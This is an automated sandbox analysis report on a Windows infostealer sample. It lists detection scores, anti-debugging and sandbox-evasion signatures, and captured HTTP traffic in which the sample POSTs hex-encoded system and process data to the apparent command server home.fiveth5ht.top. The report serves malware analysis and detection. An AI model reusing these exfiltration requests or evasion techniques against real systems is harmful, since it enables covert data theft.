Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
4o4t8dO4r1.exe

Overview

General Information

Sample name:4o4t8dO4r1.exe
renamed because original name is a hash value
Original sample name:981a4c97340fa796c8a968d31fc620c0.exe
Analysis ID:1581226
MD5:981a4c97340fa796c8a968d31fc620c0
SHA1:634cb9ffb2bd6503c8a3f7b6c6a0eaa25a1c27d4
SHA256:7f1b2b20696065cf69d8e02c68afe93dde97a1f24a7269c856ea09cee92d921a
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Hides threads from debuggers
Infostealer behavior detected
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to create an SMB header
Detected potential crypto function
Entry point lies outside standard sections
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • 4o4t8dO4r1.exe (PID: 5268 cmdline: "C:\Users\user\Desktop\4o4t8dO4r1.exe" MD5: 981A4C97340FA796C8A968D31FC620C0)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: 4o4t8dO4r1.exeAvira: detected
Multi AV Scanner detection for submitted file
Source: 4o4t8dO4r1.exeReversingLabs: Detection: 60%
Source: 4o4t8dO4r1.exeVirustotal: Detection: 40%Perma Link
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: 4o4t8dO4r1.exeJoe Sandbox ML: detected
Source: 4o4t8dO4r1.exeBinary or memory string: -----BEGIN PUBLIC KEY-----
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [ebp+04h], 424D53FFh0_2_0093A5B0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_0093A7F0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_0093A7F0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_0093A7F0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_0093A7F0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_0093A7F0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_0093A7F0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_0093B560
Source: 4o4t8dO4r1.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_008D255D
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008D29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_008D29FF
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 501700Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 32 38 34 38 38 32 34 31 39 35 37 34 36 31 30 33 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 2
Source: global trafficHTTP traffic detected: GET /OyKvQKriwnyyWjwCxSXF1735186862?argument=0 HTTP/1.1Host: home.fiveth5ht.topAccept: */*
Source: global trafficHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 31Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }
Source: Joe Sandbox ViewIP Address: 34.226.108.155 34.226.108.155
Source: Joe Sandbox ViewIP Address: 5.101.3.217 5.101.3.217
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0099A8C0 recvfrom,0_2_0099A8C0
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: GET /OyKvQKriwnyyWjwCxSXF1735186862?argument=0 HTTP/1.1Host: home.fiveth5ht.topAccept: */*
Source: global trafficDNS traffic detected: DNS query: httpbin.org
Source: global trafficDNS traffic detected: DNS query: home.fiveth5ht.top
Source: unknownHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 501700Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 32 38 34 38 38 32 34 31 39 35 37 34 36 31 30 33 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 2
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Fri, 27 Dec 2024 07:50:07 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Fri, 27 Dec 2024 07:50:09 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.css
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.jpg
Source: 4o4t8dO4r1.exe, 4o4t8dO4r1.exe, 00000000.00000003.2199036976.0000000001B17000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198890830.0000000001B0C000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198975736.0000000001B12000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198382746.0000000001B05000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214504293.0000000001B18000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQ
Source: 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2199268577.0000000001AA2000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2199335399.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214275058.0000000001AA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862
Source: 4o4t8dO4r1.exe, 00000000.00000003.2199268577.0000000001AA2000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2199335399.0000000001AA7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862.fivet3
Source: 4o4t8dO4r1.exe, 00000000.00000003.2199268577.0000000001AA2000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2199335399.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214275058.0000000001AA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17351868626963
Source: 4o4t8dO4r1.exe, 00000000.00000002.2214313623.0000000001AB4000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198635645.0000000001AB1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=0
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxS
Source: 4o4t8dO4r1.exe, 00000000.00000003.2199036976.0000000001B17000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198890830.0000000001B0C000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198975736.0000000001B12000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198382746.0000000001B05000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214504293.0000000001B18000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQo
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://html4/loose.dtd
Source: 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
Source: 4o4t8dO4r1.exeString found in binary or memory: https://curl.se/docs/hsts.html#
Source: 4o4t8dO4r1.exe, 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ip
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ipbefore
Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704

System Summary

barindex
PE file contains section with special chars
Source: 4o4t8dO4r1.exeStatic PE information: section name:
Source: 4o4t8dO4r1.exeStatic PE information: section name: .idata
Source: 4o4t8dO4r1.exeStatic PE information: section name:
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DA960_3_01B1DA96
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008E05B00_2_008E05B0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008E6FA00_2_008E6FA0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0099B1800_2_0099B180
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0090F1000_2_0090F100
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_009A00E00_2_009A00E0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C5E0500_2_00C5E050
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C5A0000_2_00C5A000
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_009362100_2_00936210
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0099C3200_2_0099C320
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_009A04200_2_009A0420
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C244100_2_00C24410
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008DE6200_2_008DE620
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C547800_2_00C54780
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0093A7F00_2_0093A7F0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0099C7700_2_0099C770
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C367300_2_00C36730
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0098C9000_2_0098C900
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008E49400_2_008E4940
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008DA9600_2_008DA960
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00AA6AC00_2_00AA6AC0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00B8AAC00_2_00B8AAC0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C48BF00_2_00C48BF0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008DCBB00_2_008DCBB0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00B8AB2C0_2_00B8AB2C
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00A64B600_2_00A64B60
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C5CC900_2_00C5CC90
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C4CD800_2_00C4CD80
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C54D400_2_00C54D40
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00BEAE300_2_00BEAE30
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_0099EF900_2_0099EF90
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00998F900_2_00998F90
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C22F900_2_00C22F90
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008F4F700_2_008F4F70
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008E10E60_2_008E10E6
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C3D4300_2_00C3D430
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C435B00_2_00C435B0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C256D00_2_00C256D0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C617A00_2_00C617A0
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_009898800_2_00989880
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00C299200_2_00C29920
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DD480_3_01B1DD48
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DD480_3_01B1DD48
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_3_01B1DD480_3_01B1DD48
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 00AACBC0 appears 79 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 008DCAA0 appears 62 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 008D71E0 appears 43 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 008D73F0 appears 99 times
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: String function: 009B44A0 appears 59 times
